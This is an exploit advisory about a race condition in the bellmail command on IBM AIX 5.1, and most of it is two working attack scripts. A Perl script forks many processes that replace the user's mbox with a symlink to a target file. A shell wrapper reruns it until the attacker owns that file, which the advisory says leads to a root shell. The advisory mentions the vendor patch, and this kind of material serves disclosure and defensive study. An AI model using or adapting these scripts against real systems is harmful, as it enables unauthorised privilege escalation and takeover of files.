[EXPL] Bellmail Race Condition Vulnerability (Exploits)

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  Bellmail Race Condition Vulnerability (Exploits)
------------------------------------------------------------------------


SUMMARY

Bellmail "is the original AT&T UNIX mail command, which handles mail for 
users on the same system and also for users on remote systems that can be 
accessed by means of Basic Network Utilities (BNU), sometimes known as the 
UNIX-to-UNIX Copy Program (UUCP). "

A race condition vulnerability was found at Bellmail command that allow 
attackers to run a shell as root.

DETAILS

Vulnerable Systems:
 * IBM AIX version 5.1

Vendor Status:
The vendor has released a patch to fix the vulnerability named IY25661.

Exploit 1:
#!/usr/bin/perl
# FileName: x_aix5_bellmail.pl
# Exploit "Race condition vulnerability (BUGTRAQ ID: 8805)" of 
/usr/bin/bellmail
# command on Aix5 to change any file owner to current user.
#
#Usage : x_aix5_bellmail.pl aim_file
# aim_file : then file wich you want to chown to you.
# Note : Maybe you should run more than one to "Race condition".
# The file named "x_bell.sh" can help you to use this exp.
# You should type "w" "Enter" then "q" "Enter" key on keyboard
# as fast as you can when bellmail prompt "?" appear.
#
# Author : watercloud@xfocus.org
# XFOCUS Team
# http://www.xfocus.net (CN)
# http://www.xfocus.org (EN)
# http://xcon.xfocus.org (XCon's Home)
#
# Date : 2004-6-6
# Tested : on Aix5.1.
# Addition: IBM had offered a patch named "IY25661" for it.
# Announce: use as your owner risk!

$CMD="/usr/bin/bellmail";
$MBOX="$ENV{HOME}/mbox";
$TMPFILE="/tmp/.xbellm.tmp";

$AIM_FILE = shift @ARGV ;
$FORK_NUM = 1000;

die "AIM FILE \"$AIM_FILE\" not exist.\n" if ! -e $AIM_FILE;

unlink $MBOX;
system "echo abc > $TMPFILE";
system "$CMD $ENV{LOGIN} < $TMPFILE";
unlink $TMPFILE;

$ret=`ls -l $AIM_FILE"`;
print "Before: $ret";

if( fork()==0 )
{
        &deamon($FORK_NUM);
        exit 0 ;
}
sleep( (rand()*100)%4);
exec $CMD;

$ret=`ls -l $AIM_FILE"`;
print "Now: $ret";

sub deamon {
        $num = shift || 1;
        for($i=0;$i<$num;$i++) {
                &do_real() if fork()==0;
        }
}
sub do_real {
        if(-e $MBOX) {
                unlink $MBOX ;
                symlink "$AIM_FILE",$MBOX;
        }
        exit 0;
}
#EOF

Exploit 2:
#!/bin/sh
#File:x_bellmail.sh
#The assistant of x_aix5_bellmail.pl
#Author : watercloud@xfocus.org
#Date :2004-6-6
#

X_BELL_PL="./x_aix5_bellmail.pl"
AIM=$1

if [ $# ne 1 ] ;then
        echo "Need a aim file name as argv."
        exit 1;
fi

if [ ! -e "$1" ];then
        echo "$1 not exist!"
        exit 1
fi
if [ ! -x "$X_BELL_PL" ];then
        echo "can not exec $X_BELL_PL"
        exit 1
fi

ret=`ls -l $AIM`
echo $ret; echo
fuser=`echo $ret |awk '{print $3}'`
while [ "$fuser" != "$LOGIN" ]
do
        $X_BELL_PL $AIM
        ret=`ls -l $AIM`
        echo $ret;echo
        fuser=`echo $ret |awk '{print $3}'`
done
echo $ret; echo
#EOF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:watercloud@xfocus.org> 
watercloud.
The original exploits can be found at:  
<http://www.xfocus.org/exploits/200505/36.html> 
http://www.xfocus.org/exploits/200505/36.html



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